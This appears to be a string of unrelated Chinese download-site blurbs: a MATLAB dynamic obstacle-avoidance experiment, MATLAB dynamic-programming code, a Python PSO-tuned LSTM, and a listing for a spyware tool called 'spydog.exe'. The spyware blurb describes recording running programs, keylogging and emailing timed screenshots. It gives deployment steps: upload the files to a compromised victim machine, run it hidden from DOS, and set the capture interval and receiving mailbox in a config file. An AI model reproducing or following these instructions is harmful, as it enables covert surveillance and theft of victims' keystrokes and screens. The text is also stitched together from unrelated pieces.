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该程序基于matab工具编写的一个动态障碍物的避障实验，分了几种不同遇障情况，算法采用相对坐标系下的动态避障方法

功能：1.记录运行的程序2.记录键盘输入3.定时截屏发送邮箱用法：4个文件上传到肉鸡任意目录运行主程序spydog.exe（在DOS下运行，肉鸡哪能看见呢？）注意：上传前请修改sysconfig文件内容，右击记事本打开引用:111 10600 截屏间隔时间(不能小于60，单位是秒）heikechina@foxmail.com 接受信息的邮箱

用matlab实现动态规划的源代码，函数文件形式，参数说明见注释

使用python实现了PSO算法优化LSTM参数，包括time_step,batch_size,learning rate 和 cell_size等